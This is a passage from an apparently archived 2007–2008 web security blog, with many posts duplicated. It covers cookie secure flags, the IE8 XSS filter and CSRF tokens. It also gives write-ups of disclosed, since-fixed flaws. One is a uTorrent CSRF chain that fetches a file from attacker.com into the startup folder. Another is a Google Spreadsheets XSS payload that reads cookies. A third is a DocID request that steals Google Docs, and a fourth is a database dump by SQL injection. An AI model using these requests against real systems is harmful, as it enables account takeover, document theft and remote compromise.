<RANT> It bugs me that we’re still dealing with issues like this. Despite having a simple and effective means to ensure that session cookies are only sent over secure channels, application owners choose to ignore the secure (and HTTPONLY) flag when developing their applications. Later, as the application matures, developers find that their application has taken a significant dependency on this insecure behavior and what was once a simple fix now becomes a huge design change (which equals $$$). The true victim's to these poor security decisions are the users who are left scratching their heads when their accounts get pwnd while using the WiFi at Joes Coffee shop. </RANT>
I believe the secure flag is symbolic of the current state of web application security… the countermeasures to the issues we are facing are known, simple, and effective... yet we continue to struggle on wide scale implementation because we've taken dependencies on insecure behavior. SSL certs are another great example of this. Every major browser has a way to bypass the security provided by SSL certs. Browsers MUST offer this bypass because if they didn't, it would break the web... but i digress.
There is a bright spot when it comes to the protecting cookies. Cookies are stored and protected by the browser (as any decent web app hacker should know!). So, when an application server issues a "SET-COOKIE" header, it's merely a recommendation as to how the browser should use the cookie. Each cookie is maintained by the browser and all the flags (secure, path, domain, httponly, expires...etc) associated with cookies are enforced ENTIRELY by the browser. So, if an application server sets a cookie WITHOUT the secure flag, I can tell my browser to disregard the servers recommendation and add the secure flag which ensures that the cookie will only be sent over secure channels. This is really simple stuff, so seasoned web app hackers can stop here. Everyone else can continue reading.
I've set up a page on here that simply sets a cookie in the following manner:
Set-Cookie: XSSniper=BKRios; expires=CURRENTDATE
Examining the Cookie in FireFox shows the following:

As you can see, we have a cookie named XSSNIPER and the SECURE flag was NOT set by the server. In fact, my server will NEVER set the secure flag for the XSSNIPER cookie. Now if I want to force my browser to enforce the secure flag for the XSSNIPER cookie, I can do so by entering the following Javascript into address bar.
javascript:var cookies=unescape(document.cookie);var split=cookies.split(";");for (i = 0; i <split.length;i++){document.cookie=split[i]+";expires=Thu,1-Jan-1970 00:00:00 GMT;";document.cookie=split[i]+";secure;"}document.location="http://xs-sniper.com/blog";
The Javascript above expires all of the current cookies (only on the client side, if you had a session established with the server it would still be maintained) and sets every cookie for the current domain to secure. I realize the Javascript is pretty ghetto, this should ideally be handled by application, but we could also use a browser plugin with a nice UI and fine grained control over each cookie attribute... Hmmmm a tool to prevent Surf/Side Jacking attacks... I wonder what I would call it... Any ideas Nate?
After we run the Javascript, we can take another look at the Cookie info presented by Firefox:

As you can see, the cookie will only be sent over encrypted connections and the cookie now expires at the end of the session (no more persistence). We've turned the XSSNIPER cookie into a SECURE cookie, despite the fact that the server never specified this behavior.
Now, this approach does have it cons... Servers typically recommend a particular cookie setting because the application was designed to work/anticipate/depend on those characteristics. This will probably break some application functionality, but broken functionality will show you exactly where your cookie would have been leaked :)
It's an interesting read and extremely relevant to today’s web applications. The heart of the paper describes some simple tricks to force a session cookie to be sent over a non encrypted channel. These tricks are possible if the secure flag isn’t set for the session cookie. These types of attacks have been discussed before. Side Jacking is probably the most well known (and most widely used) attack against leaked cookies.
<RANT> It bugs me that we’re still dealing with issues like this. Despite having a simple and effective means to ensure that session cookies are only sent over secure channels, application owners choose to ignore the secure (and HTTPONLY) flag when developing their applications. Later, as the application matures, developers find that their application has taken a significant dependency on this insecure behavior and what was once a simple fix now becomes a huge design change (which equals $$$). The true victim's to these poor security decisions are the users who are left scratching their heads when their accounts get pwnd while using the WiFi at Joes Coffee shop. </RANT>
I believe the secure flag is symbolic of the current state of web application security… the countermeasures to the issues we are facing are known, simple, and effective... yet we continue to struggle on wide scale implementation because we've taken dependencies on insecure behavior. SSL certs are another great example of this. Every major browser has a way to bypass the security provided by SSL certs. Browsers MUST offer this bypass because if they didn't, it would break the web... but i digress.
There is a bright spot when it comes to the protecting cookies. Cookies are stored and protected by the browser (as any decent web app hacker should know!). So, when an application server issues a "SET-COOKIE" header, it's merely a recommendation as to how the browser should use the cookie. Each cookie is maintained by the browser and all the flags (secure, path, domain, httponly, expires...etc) associated with cookies are enforced ENTIRELY by the browser. So, if an application server sets a cookie WITHOUT the secure flag, I can tell my browser to disregard the servers recommendation and add the secure flag which ensures that the cookie will only be sent over secure channels. This is really simple stuff, so seasoned web app hackers can stop here. Everyone else can continue reading.
I've set up a page on here that simply sets a cookie in the following manner:
Set-Cookie: XSSniper=BKRios; expires=CURRENTDATE
Examining the Cookie in FireFox shows the following:
As you can see, we have a cookie named XSSNIPER and the SECURE flag was NOT set by the server. In fact, my server will NEVER set the secure flag for the XSSNIPER cookie. Now if I want to force my browser to enforce the secure flag for the XSSNIPER cookie, I can do so by entering the following Javascript into address bar.
javascript:var cookies=unescape(document.cookie);var split=cookies.split(";");for (i = 0; i <split.length;i++){document.cookie=split[i]+";expires=Thu,1-Jan-1970 00:00:00 GMT;";document.cookie=split[i]+";secure;"}document.location="http://xs-sniper.com/blog";
The Javascript above expires all of the current cookies (only on the client side, if you had a session established with the server it would still be maintained) and sets every cookie for the current domain to secure. I realize the Javascript is pretty ghetto, this should ideally be handled by application, but we could also use a browser plugin with a nice UI and fine grained control over each cookie attribute... Hmmmm a tool to prevent Surf/Side Jacking attacks... I wonder what I would call it... Any ideas Nate?
After we run the Javascript, we can take another look at the Cookie info presented by Firefox:
As you can see, the cookie will only be sent over encrypted connections and the cookie now expires at the end of the session (no more persistence). We've turned the XSSNIPER cookie into a SECURE cookie, despite the fact that the server never specified this behavior.
Now, this approach does have it cons... Servers typically recommend a particular cookie setting because the application was designed to work/anticipate/depend on those characteristics. This will probably break some application functionality, but broken functionality will show you exactly where your cookie would have been leaked :)
Wednesday, September 3, 2008
IE8b2 XSS Filter
I run a number of different browsers, for various reasons. I was once even called a “browserholic” by a colleague! I pulled down IE8b2 when it went live a week ago. I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many different sources, but I do want to mention one security feature… XSS Filter
XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met. In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web. David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help. You can see some of the names of those who participated in XSS-Filter’s creation here.
Thanks David and CONGRATS on the release!
Some technical details with regards to XSS-Filter can be found here.
XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met. In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web. David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help. You can see some of the names of those who participated in XSS-Filter’s creation here.
Thanks David and CONGRATS on the release!
Some technical details with regards to XSS-Filter can be found here.
Friday, July 11, 2008
Opera Stuff
I recently came across an issue in Opera that could allow for some bad stuff. Although the issue has been addressed, I've been asked by the Opera security team to hold off on details until they can fully investigate other possibly related issues. I'll respect that request. I do however, want to take a moment to thank the Opera team for their timely response! Change control, resource allocation, and devoting the appropriate amount of testing to patches for sophisticated applications is a tricky business. The Opera team responded quickly with a patch and kept in great contact with me throughout the process.
It's a crazy world out there and the web browser is the window to the wild wild west. I wish Opera security team the best of luck!
It's a crazy world out there and the web browser is the window to the wild wild west. I wish Opera security team the best of luck!
Sunday, April 20, 2008
CSRF pwns your box?!?!
Before going talking about an interesting set of CSRF vulnerabilities that were released this weekend, I did want to take a few moments to do some "housekeeping" on the recent spreadsheets.google.com XSS. (1) I gave the Google Security Team the details for this particular issue well before talking about it on my blog. (2) The described issue was fixed by the GST before I even considered publically speaking about the vuln. (3) Part of the vulnerability involved a caching flaw in Google's servers, this issue is specific to Google and it was also fixed... OK, on to the good stuff...
A few weeks ago, Rob Carter told me about a few interesting CSRF vulnerabilities that he discovered in a uTorrent plugin (he publicly disclosed them this weekend). Rob was able to chain together the CSRF vulnerabilities and the net result is complete compromise of the victim’s machine! I think this may be the first PURE CSRF vulnerability that I've seen that resulted in compromise of a victims machine (there is an argument amongst some of my colleagues as to whether protocol handling/URI vulnerabilities are actually a form of CSRF, but that’s another story). The series of vulnerabilities basically follow this flow:
When a user installs the uTorrent Web UI plugin. the plugin essentially starts a locally running web server on your machine (in order to serve the Web UI). Rob targets the CSRF vulnerabilities associated with this locally running web server.
Once the file is placed, the next time the user restarts their machine, the attacker controlled file will be run... there you have it... compromise of a victim’s system through three CSRFs! Scary stuff... you can read more about the issue on Robs Blog <robs blog>.
A few weeks ago, Rob Carter told me about a few interesting CSRF vulnerabilities that he discovered in a uTorrent plugin (he publicly disclosed them this weekend). Rob was able to chain together the CSRF vulnerabilities and the net result is complete compromise of the victim’s machine! I think this may be the first PURE CSRF vulnerability that I've seen that resulted in compromise of a victims machine (there is an argument amongst some of my colleagues as to whether protocol handling/URI vulnerabilities are actually a form of CSRF, but that’s another story). The series of vulnerabilities basically follow this flow:
When a user installs the uTorrent Web UI plugin. the plugin essentially starts a locally running web server on your machine (in order to serve the Web UI). Rob targets the CSRF vulnerabilities associated with this locally running web server.
- Rob uses a first CSRF to turn on the "Move completed downloads" option on the uTorrent Web UI. The CSRF looks something like this:
http://localhost:14774/gui/?action=setsetting&s=dir_completed_download_flag&v=1
- Once Rob has "turned on" the "Move completed downloads" functionality, he uses a second CSRF to change the path of where the completed torrent download is placed. In the example he gives, he forces the uTorrent plugin to move completed torrent downloads to the Windows startup folder. This CSRF looks something like this:
http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup
- The last step in Rob’s example forces the victim to download a torrent which points to an attacker controlled bat file. Once the file is downloaded, uTorrent places the files into the victim’s startup folder (thanks to the first two CSRFs). This CSRF looks something like this:
http://localhost:14774/gui/?action=add-url&s=http://www.attacker.com/file.torrent
Once the file is placed, the next time the user restarts their machine, the attacker controlled file will be run... there you have it... compromise of a victim’s system through three CSRFs! Scary stuff... you can read more about the issue on Robs Blog <robs blog>.
Sunday, April 13, 2008
Google XSS
Now, normally when I find an XSS vulnerability on a popular domain I just report it to the appropriate security team and move on, but this one is interesting…
By taking advantage of the content-type returned by spreadsheets.google.com (and a caching flaw on the part of Google), I was able to pull off a full blown XSS against the google.com domain. For those of you who don’t understand what this means, allow me to elaborate. When Google sets their cookie, it is valid for all of their sub domains. So, when you log into gmail (mail.google.com), your gmail cookie is actually valid for code.google.com, docs.google.com, spreadsheets.google.com…and so on. If someone (like me) finds an XSS vulnerability in any one of these sub domains, I’ll be able to hijack your session and access any google service as if I were you.
So, in this instance, I have an XSS on spreadsheets.google.com. With this single XSS, I can read your Gmail, backdoor your source code (code.google.com), steal all your Google Docs, and basically do whatever I want on Google as if I were you! Google’s use of “document.domain=” also make things a little easier to jump from one domain to the next, but that’s another story…
This particular XSS takes advantage of how Internet Explorer determines the content type of the HTTP response being returned by the server. Most would think that explicitly setting the content-type to something that isn’t supposed to be rendered by the browser would easily solve this issue, but it does not. IE isn’t the only browser that will ignore the content-type header in certain circumstances, Firefox, Opera, and Safari will ignore the content-type header as well (in certain circumstances). Security professionals and more importantly developers need to understand the nuances of how the popular web browsers handle various content-type headers, otherwise they may put their web application at risk of XSS. The most comprehensive paper I’ve seen on the subject was written by Blake Frantz of Leviathan. The paper can be found here. It’s a “MUST HAVE” reference for web app security pros. Read it, understand it, protect yourself appropriately or expect others to exploit appropriately…
In this issue, Google set the content-type header for a response which I controlled the content to text/plain. If I can inject what looks like HTML into the first few bytes of the response, I’ll be able to “trick” Internet Explorer into rendering the content as HTML. Luckily for me, I was able to do just that.
I created a spreadsheet on spreadsheets.google.com and for the first cell (A1) I put the following content: “<HTML><body><script>alert(document.cookie)</script></body></HTML>”

I then saved the spreadsheet and generated a link for the spreadsheet to be served as a CSV.

When this option is selected, the contents of the spreadsheet are displayed inline (the content-disposition header was not explicitly set to “attachment”), IE ignores the content-type header, sniffs the content-type from the response, then proceeds to render the response as if it were HTML. At this point, I control the entire HTML being rendered under an xxx.google.com domain.

To be fair, Google included a subtle defense to protect against content-type sniffing (padding the response), but those protection measures failed (with a little prodding by me). The issue is fixed, but if you try to reproduce this issue, you’ll see their defense in play. It a solid defense which shows they understand the nuances of content-type sniffing.
I’ll provide some tips on taking ownership of untrusted content and serving it from your server in a later post, but for now take a look at the paper written by Blake Frantz. I’m sure it will open some eyes…
By taking advantage of the content-type returned by spreadsheets.google.com (and a caching flaw on the part of Google), I was able to pull off a full blown XSS against the google.com domain. For those of you who don’t understand what this means, allow me to elaborate. When Google sets their cookie, it is valid for all of their sub domains. So, when you log into gmail (mail.google.com), your gmail cookie is actually valid for code.google.com, docs.google.com, spreadsheets.google.com…and so on. If someone (like me) finds an XSS vulnerability in any one of these sub domains, I’ll be able to hijack your session and access any google service as if I were you.
So, in this instance, I have an XSS on spreadsheets.google.com. With this single XSS, I can read your Gmail, backdoor your source code (code.google.com), steal all your Google Docs, and basically do whatever I want on Google as if I were you! Google’s use of “document.domain=” also make things a little easier to jump from one domain to the next, but that’s another story…
This particular XSS takes advantage of how Internet Explorer determines the content type of the HTTP response being returned by the server. Most would think that explicitly setting the content-type to something that isn’t supposed to be rendered by the browser would easily solve this issue, but it does not. IE isn’t the only browser that will ignore the content-type header in certain circumstances, Firefox, Opera, and Safari will ignore the content-type header as well (in certain circumstances). Security professionals and more importantly developers need to understand the nuances of how the popular web browsers handle various content-type headers, otherwise they may put their web application at risk of XSS. The most comprehensive paper I’ve seen on the subject was written by Blake Frantz of Leviathan. The paper can be found here. It’s a “MUST HAVE” reference for web app security pros. Read it, understand it, protect yourself appropriately or expect others to exploit appropriately…
In this issue, Google set the content-type header for a response which I controlled the content to text/plain. If I can inject what looks like HTML into the first few bytes of the response, I’ll be able to “trick” Internet Explorer into rendering the content as HTML. Luckily for me, I was able to do just that.
I created a spreadsheet on spreadsheets.google.com and for the first cell (A1) I put the following content: “<HTML><body><script>alert(document.cookie)</script></body></HTML>”
I then saved the spreadsheet and generated a link for the spreadsheet to be served as a CSV.
When this option is selected, the contents of the spreadsheet are displayed inline (the content-disposition header was not explicitly set to “attachment”), IE ignores the content-type header, sniffs the content-type from the response, then proceeds to render the response as if it were HTML. At this point, I control the entire HTML being rendered under an xxx.google.com domain.
To be fair, Google included a subtle defense to protect against content-type sniffing (padding the response), but those protection measures failed (with a little prodding by me). The issue is fixed, but if you try to reproduce this issue, you’ll see their defense in play. It a solid defense which shows they understand the nuances of content-type sniffing.
I’ll provide some tips on taking ownership of untrusted content and serving it from your server in a later post, but for now take a look at the paper written by Blake Frantz. I’m sure it will open some eyes…
Wednesday, March 19, 2008
Preventing XSS Exploitation with CSRF Tokens?!?!
A colleague and I were tossing around the idea of preventing XSS Exploitation with CSRF tokens. Now, before people start going "high and right" on me...hear me out... I DID NOT say "prevent XSS" with CSRF tokens, I said prevent "XSS Exploitation" with CSRF tokens. This discussion arose after someone presented me with the following scenario (this same scenario has been presented to me many, many times... typically at a bar after a few drinks):
You come into an organization and take over the application security department because the old security person left/was fired/was arrested/whatever. You take a look at the 10 million line flagship application and realize that its riddled with XSS holes, yet you don't have the resources/time/cojo's to fix all the exposures. What do you do?
This scenario is usually followed up by a pitch to sell me on some Web Application Firewall product..... I'll put my thoughts on WAFs aside for a second... and I'll try to get to the underlying issue of the scenario presented above: You need to do something to stop your customers from getting XSSd, you don't have much time, you don't have many resources and there is a ton of code to go through.
Now, what if you required CSRF tokens/canaries for every request? This doesn't "fix" the XSS exposures, but it makes it a LOT more difficult to exploit (unless you want to exploit yourself). The CSRF tokens effectively prevent an attacker from sending the XSS to anyone else. Considering many token/canary values are implemented at the framework level, in most cases it would require a configuration change for the application. Now, once every page is protected by the canary, you can systematically examine the "high priority" pages or pages where canaries don't make sense and remove the canary requirement after that particular page/functionality has gone through a review. In order to prevent the attacker from sending their own canary value, the CSRF token would have to be tied to the current users session (most good implementations do this anyway).
Now, once again, this DOES NOT FIX XSS, it just makes exploitation harder. This isn't a new concept, in fact this same type of approach is being used by modern day operating systems. Take buffer overflows for example, protections like DEP, ASLR, Stackguard, GS flag... these protections do not prevent developers from writing buffer overflows and they do not "fix" buffer overflows... they do make exploiting buffer overflows a lot more difficult (unless you're a Litchfield brother, HD Moore, or Alexander Sotirov).
Now, of course there are some cons to this strategy... First, the XSS exposures are not fixed (the WAFs don't fix them either). This doesn't protect against persistent XSS. There will be some performance hits to your web server when you have canaries for each request. This will NOT help you defend against injection attacks like SQL Injection or Command injection, that will require an audit... on the flip side... if you're relying solely on a WAF to protect you against SQLi and Command Injection, I'd be worried...
You come into an organization and take over the application security department because the old security person left/was fired/was arrested/whatever. You take a look at the 10 million line flagship application and realize that its riddled with XSS holes, yet you don't have the resources/time/cojo's to fix all the exposures. What do you do?
This scenario is usually followed up by a pitch to sell me on some Web Application Firewall product..... I'll put my thoughts on WAFs aside for a second... and I'll try to get to the underlying issue of the scenario presented above: You need to do something to stop your customers from getting XSSd, you don't have much time, you don't have many resources and there is a ton of code to go through.
Now, what if you required CSRF tokens/canaries for every request? This doesn't "fix" the XSS exposures, but it makes it a LOT more difficult to exploit (unless you want to exploit yourself). The CSRF tokens effectively prevent an attacker from sending the XSS to anyone else. Considering many token/canary values are implemented at the framework level, in most cases it would require a configuration change for the application. Now, once every page is protected by the canary, you can systematically examine the "high priority" pages or pages where canaries don't make sense and remove the canary requirement after that particular page/functionality has gone through a review. In order to prevent the attacker from sending their own canary value, the CSRF token would have to be tied to the current users session (most good implementations do this anyway).
Now, once again, this DOES NOT FIX XSS, it just makes exploitation harder. This isn't a new concept, in fact this same type of approach is being used by modern day operating systems. Take buffer overflows for example, protections like DEP, ASLR, Stackguard, GS flag... these protections do not prevent developers from writing buffer overflows and they do not "fix" buffer overflows... they do make exploiting buffer overflows a lot more difficult (unless you're a Litchfield brother, HD Moore, or Alexander Sotirov).
Now, of course there are some cons to this strategy... First, the XSS exposures are not fixed (the WAFs don't fix them either). This doesn't protect against persistent XSS. There will be some performance hits to your web server when you have canaries for each request. This will NOT help you defend against injection attacks like SQL Injection or Command injection, that will require an audit... on the flip side... if you're relying solely on a WAF to protect you against SQLi and Command Injection, I'd be worried...
Monday, January 7, 2008
There's an OAK TREE in my blog!?!?!
A while back I came across another interesting issue that allowed me to steal an arbitrary Google Doc (assuming I knew the DocID). This issue has already been fixed by Google, but the details are pretty interesting so I thought I would share! Now, before I get into the gory details, I'd like to mention two things about Google:
Now... the gory details... First, I went to Wordpress.com and created a new blog (there were other ways to pull this off, but this was the easiest way). Once the blog was created, I logged into Google Docs with my account, created a document and selected the "publish this document" option. Once in the "publish" menu, I selected the "Blog Site Settings" option. This option basically allows a Google Docs user to create a document in Google Docs and POST it directly to thier blog! I entered my blog provider, blog username, and blog password into the blog settings page. The page is shown below:

Once my blog settings were properly entered, I selected the "Publish This Document To Your Blog" option. The POST request made by my browser looked something like this:
When this feature is selected, it appears that the Google Docs server makes a request to the xmlrpc.php file on the blog server (Wordpress.com), passing the credentials I gave in the blog settings. When the blog server indicates that the blog creds were valid, the Google Docs server sends the contents of the Google Doc to the blog server. hmmmm... that docID value looks reeeallly interesting... I changed the docID in the POST request from the docID of my newly created document to the docID of the "Article For Oak Tree View" (the document used by Google to Demo Google Docs).

After changing the docID and sending the POST request, I logged into my Wordpress Blog and LO AND BEHOLD... my first blog POST was the Oak Tree Newsletter!

I tried it on some friends documents with the same result and then contacted the GST....
Links to other Google Docs Stuff here, here, and here
- I know some people have had issues with Google's Security Team (GST), but I've always had pleasant experiences with them. GST moves with LIGHTING speed and they are usually great about keeping in me apprised of the status of various issues I've reported to them.
- In addition to fixing this particular exposure, GST has also increased the entropy of the DocID making sploits based on DocID guessing totally impractical. It's a great example of going the extra step to help protect users...
Now... the gory details... First, I went to Wordpress.com and created a new blog (there were other ways to pull this off, but this was the easiest way). Once the blog was created, I logged into Google Docs with my account, created a document and selected the "publish this document" option. Once in the "publish" menu, I selected the "Blog Site Settings" option. This option basically allows a Google Docs user to create a document in Google Docs and POST it directly to thier blog! I entered my blog provider, blog username, and blog password into the blog settings page. The page is shown below:
Once my blog settings were properly entered, I selected the "Publish This Document To Your Blog" option. The POST request made by my browser looked something like this:
POST /MiscCommands HTTP/1.1
<HTTP HEADERS>
command=cmdvalue&localDate=datevalue&docID=doc-id-here&finis=finisvalue&POST_TOKEN=posttokenvalue
When this feature is selected, it appears that the Google Docs server makes a request to the xmlrpc.php file on the blog server (Wordpress.com), passing the credentials I gave in the blog settings. When the blog server indicates that the blog creds were valid, the Google Docs server sends the contents of the Google Doc to the blog server. hmmmm... that docID value looks reeeallly interesting... I changed the docID in the POST request from the docID of my newly created document to the docID of the "Article For Oak Tree View" (the document used by Google to Demo Google Docs).
After changing the docID and sending the POST request, I logged into my Wordpress Blog and LO AND BEHOLD... my first blog POST was the Oak Tree Newsletter!
I tried it on some friends documents with the same result and then contacted the GST....
Links to other Google Docs Stuff here, here, and here
Monday, December 24, 2007
Happy Holidays!
Merry Christmas and a Happy New Year to all!
It's been awhile since Billy or I have posted, as we've been busy enjoying the holidays, but rest assured, we're still working hard. 2007 has been a great year for Billy and I, hopefully we can continue the pace in 2008. I know Billy has several posts to catch up on, and I personally can't wait to see all the details! In the meantime, I thought I'd update everyone on the research I've been doing with URI Handlers on the Mac operating system.
As some of you know, I recently purchased a brand new Mac Book for Christmas. I did some research into how the Mac handles its URI handlers and discovered that URI flaws are not new on the Mac! To my surprise, URI issues have been one of the major plagues of the Mac operating system for some time. The Month of Apple Bugs, from back in January 2007, clearly illustrates several major flaws on the Mac with regards to URI Handling issues. Additionally, Daring Fireball's site, discusses the issue as far back as 2004.
Well, this peaked my curiosity, so I had to take a deeper look. I found an application called RCDefaultApp, which was developed by Carl E. Lindberg, which gives a graphical representation of URL Handlers (amongst other things) on a Mac. Carl was nice enough to write up some command-line code for me to dump out the URL Handlers. I had expected to modify it up to do exactly what I wanted, but at this time, I've just been to busy. In the meantime, the current code can be found here.
This code actually led to the discovery of a new URL Handling bug on the Mac OS X in the most current and patched Leopard version. At this time, I've notified Apple, and they expect to have a bug fix out in January, so I will release details at that time. Apple has been great in responding to this issue, and I thank them for working with me on it.
Thanks and Merry Christmas!
-Nate
It's been awhile since Billy or I have posted, as we've been busy enjoying the holidays, but rest assured, we're still working hard. 2007 has been a great year for Billy and I, hopefully we can continue the pace in 2008. I know Billy has several posts to catch up on, and I personally can't wait to see all the details! In the meantime, I thought I'd update everyone on the research I've been doing with URI Handlers on the Mac operating system.
As some of you know, I recently purchased a brand new Mac Book for Christmas. I did some research into how the Mac handles its URI handlers and discovered that URI flaws are not new on the Mac! To my surprise, URI issues have been one of the major plagues of the Mac operating system for some time. The Month of Apple Bugs, from back in January 2007, clearly illustrates several major flaws on the Mac with regards to URI Handling issues. Additionally, Daring Fireball's site, discusses the issue as far back as 2004.
Well, this peaked my curiosity, so I had to take a deeper look. I found an application called RCDefaultApp, which was developed by Carl E. Lindberg, which gives a graphical representation of URL Handlers (amongst other things) on a Mac. Carl was nice enough to write up some command-line code for me to dump out the URL Handlers. I had expected to modify it up to do exactly what I wanted, but at this time, I've just been to busy. In the meantime, the current code can be found here.
This code actually led to the discovery of a new URL Handling bug on the Mac OS X in the most current and patched Leopard version. At this time, I've notified Apple, and they expect to have a bug fix out in January, so I will release details at that time. Apple has been great in responding to this issue, and I thank them for working with me on it.
Thanks and Merry Christmas!
-Nate
Monday, November 26, 2007
New Burp Suite (Beta) Out!
BK here… I’ve been on a little bit of a hiatus lately, but Nate has been holding down the fort with a couple posts here and there. I’ll post more about what I’ve been working on later but for now, I wanted to let everyone know that I had a pleasant surprise in my email inbox (besides the ads for cheap Viagra)… PORTSWIGGER put out a new BETA version of his Burp Suite!
Burp Suite is my favorite tool for web application assessments. If you haven’t played around with Burp Suite, you’re really missing out. I haven’t had a chance to play around with the new functionality, but I’m sure it will ROCK. I love the entire Burp Suite but there is one piece that’s my fav… and that’s Burp Intruder.
The attacks possible via the Intruder payloads make it a truly special tool, providing a capability that I have yet to see in any other web app testing tool (trust me… I’ve looked). Although the number of sweet findings made possible through the use of Intruder are too numerous to mention here, I’ll mention two that have a special place in my playbook:
1.) Error based SQL Injection leading to full exfiltration of an entire database: I was working on an engagement with Raghav “The Pope” Dube when we discovered SQL Injection. The injection point was nested DEEP inside a hideous SQL Query and there was just enough server side validation so we couldn’t comment or truncate the rest of the query out. We could however, see verbose error messages which revealed some of the database structure. We used Burp Intruder to send an HTTP request, receive the response, take a portion of the error message text (via regex) and use that text as the payload for the next HTTP request. Intruder looped through that sequence thousands of times, extracting DB information along the way. It took us about a minute to setup the regexes and about 10 minutes to pull the entire DB… We setup Intruder faster than we could have written a Perl Script! Intruder even organized the results for us!
2.) Race condition in a web sever module: I was running some Intruder queries against a web server and noticed that every HTTP response size was exactly the same; EXCEPT for one lonely response (sorting by HTTP response size is AWESOME). I examined the single request that caused the unique response size, reissued the request, and this time I had a HTTP response size that was back in line with the 1000s of other HTTP responses. Scratching my head, I decided to push up the thread count in Intruder and let loose against the web server… turns out, if I could make a request just before an authenticated user made a request, I could sneak my request in as “authenticated” and I could see that users info. After talking to the owner of the web app, we eventually discovered that it was a flaw in a Web Server Module and not the application! (Which reminds me… I need to report a race condition in a web server mod...).
Burp Suite is my favorite tool for web application assessments. If you haven’t played around with Burp Suite, you’re really missing out. I haven’t had a chance to play around with the new functionality, but I’m sure it will ROCK. I love the entire Burp Suite but there is one piece that’s my fav… and that’s Burp Intruder.
The attacks possible via the Intruder payloads make it a truly special tool, providing a capability that I have yet to see in any other web app testing tool (trust me… I’ve looked). Although the number of sweet findings made possible through the use of Intruder are too numerous to mention here, I’ll mention two that have a special place in my playbook:
1.) Error based SQL Injection leading to full exfiltration of an entire database: I was working on an engagement with Raghav “The Pope” Dube when we discovered SQL Injection. The injection point was nested DEEP inside a hideous SQL Query and there was just enough server side validation so we couldn’t comment or truncate the rest of the query out. We could however, see verbose error messages which revealed some of the database structure. We used Burp Intruder to send an HTTP request, receive the response, take a portion of the error message text (via regex) and use that text as the payload for the next HTTP request. Intruder looped through that sequence thousands of times, extracting DB information along the way. It took us about a minute to setup the regexes and about 10 minutes to pull the entire DB… We setup Intruder faster than we could have written a Perl Script! Intruder even organized the results for us!
2.) Race condition in a web sever module: I was running some Intruder queries against a web server and noticed that every HTTP response size was exactly the same; EXCEPT for one lonely response (sorting by HTTP response size is AWESOME). I examined the single request that caused the unique response size, reissued the request, and this time I had a HTTP response size that was back in line with the 1000s of other HTTP responses. Scratching my head, I decided to push up the thread count in Intruder and let loose against the web server… turns out, if I could make a request just before an authenticated user made a request, I could sneak my request in as “authenticated” and I could see that users info. After talking to the owner of the web app, we eventually discovered that it was a flaw in a Web Server Module and not the application! (Which reminds me… I need to report a race condition in a web server mod...).
Sunday, November 4, 2007
Java Applets and DNS Rebinding
For those of you who were able to see Billy and I present at Hack In the Box Malaysia this year, you already know that Java Applets were vulnerable to DNS Rebinding attacks. For the benefit of those of you who didn't get to see that presentation, here's a link to it, but the simple of it is that we can XSS a victim, force a Java applet to be cached and then DNS Rebind that applet by reloading the JVM or loading a new JVM after we have modified the DNS entry for the name of the host the applet was served from. This is because, as many things on the Internet, applets are pinned to DNS name as opposed to IP address.
Why do we care? Well, unlike DNS pinning with Flash sockets, we can actually make request to ports less than 1024 and additionally, Java provides us with a huge set of libraries for doing everything from communicating with database servers to communicating with RMI servers.
Interestingly enough, a recent post by the NGS guys that was on seclists detailed how this was vulnerable in another way, which appeared to not have to rely on a new load of the JVM. Here's a comment from that post:
Fortunately for all of us who have Java installed on our systems, this has now been patched by Sun, but I find it interesting that Java has its own URIs that it respects, like the verbatim: URI. Very interesting indeed.
Why do we care? Well, unlike DNS pinning with Flash sockets, we can actually make request to ports less than 1024 and additionally, Java provides us with a huge set of libraries for doing everything from communicating with database servers to communicating with RMI servers.
Interestingly enough, a recent post by the NGS guys that was on seclists detailed how this was vulnerable in another way, which appeared to not have to rely on a new load of the JVM. Here's a comment from that post:
By specifying a codebase URI prefixed by "verbatim:" it is possible to
load an applet from a remote location but have the browser plugin believe
it has been loaded from the local host. This allows an untrusted applet
to connect to and attempt to exploit network services running on the local
host. It should be noted that unlike binary sockets in Flash 9, an applet
can connect to any port, not just those greater than 1024.
At the time of reporting this issue, NGS provided Sun with a demonstration
applet that exploited MS06-040 ("Vulnerability in Server Service could
allow remote code execution") on a vulnerable XP SP1 system.
Fortunately for all of us who have Java installed on our systems, this has now been patched by Sun, but I find it interesting that Java has its own URIs that it respects, like the verbatim: URI. Very interesting indeed.
Thursday, September 27, 2007
All Your Google Docs are Belong To US...
It's been a rough week for Google Security... It seems like everyone had some Google vulnerability they wanted to disclose this week. You can see some of the various vulns here, here, and here.
Well... the week isn't over YET! I'm actually disclosing this vulnerability because Google has already fixed it. Although I don't use Google Docs (because I'm a paranoid guy), I know a lot of people who do and I didn't want to put their docs at risk. Without further delay, the details...
This vulnerability allowed any Google Docs user to STEAL ARBITRARY DOCUMENTS from the Google Docs Server. The basis of the vulnerability stems from a simple Session Management issue. Once a user has logged into Google Docs and has created a document, they are presented with several options. Under the "Share" tab, the user has an option to "Email Collaborators"

Once the user clicks the "Email Collaborators" link, the following HTTP GET request is made to docs.google.com:
GET /Dialogs/EmailDocument?DocID=<ANY DOC ID HERE> HTTP/1.1
<appropriate HTTP headers here>
If you changed the DocID value to another DocID, Google Docs WOULD NOT VALIDATE whether you should have access to that DocID. The title of the stolen document you requested will be shown (as a javascript variable) in the HTTP 200 OK response that is returned. Once this step is completed, you can make a POST request to a Google Docs Server Side Script named MiscCommands. The POST request looks something like this:
POST /MiscCommands HTTP/1.1
<appropriate HTTP headers here>
command=validate_address&docid=<ANY DOCID HERE>&addr=gmail%40gmail.com&finis=true&POST_TOKEN=POSTTOKENVALUE
If you changed the DocID in the POST request, the entire contents of that document would be emailed to the addresses specified in the "addr" parameter! I tested this against several friends Google Docs and it worked EVERYTIME!
